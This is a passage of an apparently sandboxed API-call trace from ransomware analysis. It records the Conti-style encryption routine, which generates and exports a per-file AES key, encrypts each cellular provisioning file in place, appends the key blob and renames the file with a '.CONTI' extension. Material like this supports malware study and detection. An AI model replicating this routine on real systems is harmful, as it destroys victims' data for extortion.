	[0112.123] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=671) returned 1
	[0112.123] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x29f
	[0112.123] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.123] SetEndOfFile (hFile=0x398) returned 1
	[0112.123] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.123] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.123] WriteFile (in: hFile=0x398, lpBuffer=0x180e7b4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x180e7b4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.130] ReadFile (in: hFile=0x398, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x29f, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x29f, lpOverlapped=0x0) returned 1
	[0112.130] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x29f, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2a0) returned 1
	[0112.130] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.130] WriteFile (in: hFile=0x398, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2a0, lpOverlapped=0x0) returned 1
	[0112.130] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.130] WriteFile (in: hFile=0x398, lpBuffer=0x180e7a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x180e7a8*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0112.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.130] CloseHandle (hObject=0x398) returned 1
	[0112.130] GetProcessHeap () returned 0x1720000
	[0112.130] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.130] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml"
	[0112.130] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.130] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\490__connections_cellular_cincinnati bell wireless (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.131] GetProcessHeap () returned 0x1720000
	[0112.131] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.131] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0112.131] GetProcessHeap () returned 0x1720000
	[0112.131] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3f30 | out: hHeap=0x1720000) returned 1
	[0112.131] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0112.131] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x180d7b8 | out: phKey=0x180d7b8*=0x6b7f478) returned 1
	[0112.132] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x180d7bc, pdwDataLen=0x3f7fc54 | out: pbData=0x180d7bc*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0112.132] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.132] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0112.133] GetLastError () returned 0x0
	[0112.133] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=674) returned 1
	[0112.133] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2a2
	[0112.133] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.133] SetEndOfFile (hFile=0x398) returned 1
	[0112.133] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.133] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.133] WriteFile (in: hFile=0x398, lpBuffer=0x180d7bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x180d7bc*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.140] ReadFile (in: hFile=0x398, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2a2, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2a2, lpOverlapped=0x0) returned 1
	[0112.140] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2a2, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2b0) returned 1
	[0112.140] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.140] WriteFile (in: hFile=0x398, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2b0, lpOverlapped=0x0) returned 1
	[0112.140] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.140] WriteFile (in: hFile=0x398, lpBuffer=0x180d7b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x180d7b0*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0112.140] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.140] CloseHandle (hObject=0x398) returned 1
	[0112.140] GetProcessHeap () returned 0x1720000
	[0112.140] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.140] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml"
	[0112.140] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.140] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\492__Connections_Cellular_Rural Cellular Corporation (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\492__connections_cellular_rural cellular corporation (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.141] GetProcessHeap () returned 0x1720000
	[0112.141] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.141] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0112.141] GetProcessHeap () returned 0x1720000
	[0112.141] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65754d8 | out: hHeap=0x1720000) returned 1
	[0112.141] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0112.141] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x180e320 | out: phKey=0x180e320*=0x6b7f2b8) returned 1
	[0112.141] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x180e324, pdwDataLen=0x3f7fc54 | out: pbData=0x180e324*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0112.142] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.142] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0112.143] GetLastError () returned 0x0
	[0112.143] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=730) returned 1
	[0112.143] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2da
	[0112.143] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.143] SetEndOfFile (hFile=0x398) returned 1
	[0112.143] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.143] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.143] WriteFile (in: hFile=0x398, lpBuffer=0x180e324*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x180e324*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.148] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.148] ReadFile (in: hFile=0x398, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2da, lpOverlapped=0x0) returned 1
	[0112.148] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2da, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e0) returned 1
	[0112.148] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.148] WriteFile (in: hFile=0x398, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.148] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.148] WriteFile (in: hFile=0x398, lpBuffer=0x180e318*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x180e318*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0112.148] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.148] CloseHandle (hObject=0x398) returned 1
	[0112.148] GetProcessHeap () returned 0x1720000
	[0112.148] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.148] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml"
	[0112.148] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml.CONTI"
	[0112.149] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\494__Connections_Cellular_T-Mobile USA (United States)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\494__connections_cellular_t-mobile usa (united states)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0112.149] GetProcessHeap () returned 0x1720000
	[0112.149] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0112.149] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0112.149] GetProcessHeap () returned 0x1720000
	[0112.149] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1815850 | out: hHeap=0x1720000) returned 1
	[0112.149] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0112.149] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x18107a0 | out: phKey=0x18107a0*=0x6b7f2b8) returned 1
	[0112.150] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x18107a4, pdwDataLen=0x3f7fc54 | out: pbData=0x18107a4*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0112.150] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0112.150] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\496__connections_cellular_t-mobile usa_ tracfone (united states)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0112.151] GetLastError () returned 0x0
	[0112.151] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=731) returned 1
	[0112.151] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2db
	[0112.151] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.151] SetEndOfFile (hFile=0x398) returned 1
	[0112.151] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.151] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.151] WriteFile (in: hFile=0x398, lpBuffer=0x18107a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x18107a4*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0112.153] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.153] ReadFile (in: hFile=0x398, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2db, lpOverlapped=0x0) returned 1
	[0112.153] CryptEncrypt (in: hKey=0x6b7f2b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2db, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e0) returned 1
	[0112.154] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.154] WriteFile (in: hFile=0x398, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.154] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.154] WriteFile (in: hFile=0x398, lpBuffer=0x1810798*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x1810798*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0112.154] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.154] CloseHandle (hObject=0x398) returned 1
	[0112.154] GetProcessHeap () returned 0x1720000
	[0112.154] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0112.154] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\496__Connections_Cellular_T-Mobile USA_ TracFone (United States)_i0$(__MVID)@WAP.provxml"
